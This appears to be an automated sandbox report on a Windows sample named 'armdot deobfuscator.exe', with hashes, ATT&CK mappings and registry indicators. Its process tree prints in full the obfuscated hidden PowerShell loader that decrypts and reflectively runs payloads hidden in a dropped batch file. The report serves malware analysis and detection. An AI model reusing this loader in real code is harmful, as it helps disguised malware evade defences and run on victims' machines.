39508b75635805ff4fa5eaf8c7aa926529b66ae52f08460d41d8d960e75385e3

Resubmissions

11-09-2024 00:01

240911-aa691stare 10

10-09-2024 23:54

240910-3ya6ps1fjn 10

Analysis

max time kernel
120s
max time network
120s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
10-09-2024 23:54

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General

Target

tool/armdot deobfuscator.exe
Size

275KB
MD5

2bce10bc9bf1c5e013965c7a60deae05
SHA1

7efa1765b1842f4ce9e746c26c7d8394ad7820ce
SHA256

5e74f08923fec3a5daf99b9a6c0763b21a98226f90c537235408a4258389ca01
SHA512

fbfadeb3f983cc76478864de82952ce34cb7543743a3421151827c5a8226d24ddff2409f71230dfc4bbfad441cea9a148a11a31c16e3890cd5a0797fe4a9e7c0
SSDEEP

6144:IwDHUsnM9rwQCz8vRtKT2OyD0Ek+c9NWtO5MxRxLJcNfZ:IAjMnZtgbyD0wyWtOcJeZ

Score

8^/10

discovery execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1728	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	armdot deobfuscator.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
1728	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1728	powershell.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 2532 wrote to memory of 1688	2532	armdot deobfuscator.exe	30
PID 2532 wrote to memory of 1688	2532	armdot deobfuscator.exe	30
PID 2532 wrote to memory of 1688	2532	armdot deobfuscator.exe	30
PID 2532 wrote to memory of 1688	2532	armdot deobfuscator.exe	30
PID 1688 wrote to memory of 1728	1688	cmd.exe	32
PID 1688 wrote to memory of 1728	1688	cmd.exe	32
PID 1688 wrote to memory of 1728	1688	cmd.exe	32
PID 1688 wrote to memory of 1728	1688	cmd.exe	32

C:\Users\Admin\AppData\Local\Temp\tool\armdot deobfuscator.exe
"C:\Users\Admin\AppData\Local\Temp\tool\armdot deobfuscator.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2532
- C:\Windows\SysWOW64\cmd.exe
  cmd /c ""C:\Users\Admin\AppData\Local\Temp\crypt2.bat" "
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:1688
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('wIalkQRXMjI6os9KK3k7hlFrDQkHj2XVm7J3WOd1/SA='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('e6ZRtmDqjWQoNwY5EpOeNg=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $FqaIW=New-Object System.IO.MemoryStream(,$param_var); $iUhow=New-Object System.IO.MemoryStream; $lErRr=New-Object System.IO.Compression.GZipStream($FqaIW, [IO.Compression.CompressionMode]::Decompress); $lErRr.CopyTo($iUhow); $lErRr.Dispose(); $FqaIW.Dispose(); $iUhow.Dispose(); $iUhow.ToArray();}function execute_function($param_var,$param2_var){ $imtyS=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $PkVgO=$imtyS.EntryPoint; $PkVgO.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\crypt2.bat';$CZdgQ=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\crypt2.bat').Split([Environment]::NewLine);foreach ($eeotO in $CZdgQ) { if ($eeotO.StartsWith(':: ')) { $Hwsqs=$eeotO.Substring(3); break; }}$payloads_var=[string[]]$Hwsqs.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1728

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\crypt2.bat

Filesize
270KB

MD5
3ea84c5d84c23aa2336ad19120ca2f69

SHA1
89f8c3ce7dff799df989d77b0589faeacf29577a

SHA256
c96331a38563d38ce6ae9f99294c0b39a595275cfdaf1ea85f91f693a7c302e6

SHA512
6aa2bf0d81b3fc103333e242492724dbfb45acb7ca5fd3289360bb7cff09d0bd524537570bc353f7ca92fb2e064aacdd3ee7e0a2fa4259b12056301050b8000f

Download Submit
memory/1728-11-0x00000000738E1000-0x00000000738E2000-memory.dmp

Filesize
4KB

Download
memory/1728-12-0x00000000738E0000-0x0000000073E8B000-memory.dmp

Filesize
5.7MB

Download
memory/1728-13-0x00000000738E0000-0x0000000073E8B000-memory.dmp

Filesize
5.7MB

Download
memory/1728-14-0x00000000738E0000-0x0000000073E8B000-memory.dmp

Filesize
5.7MB

Download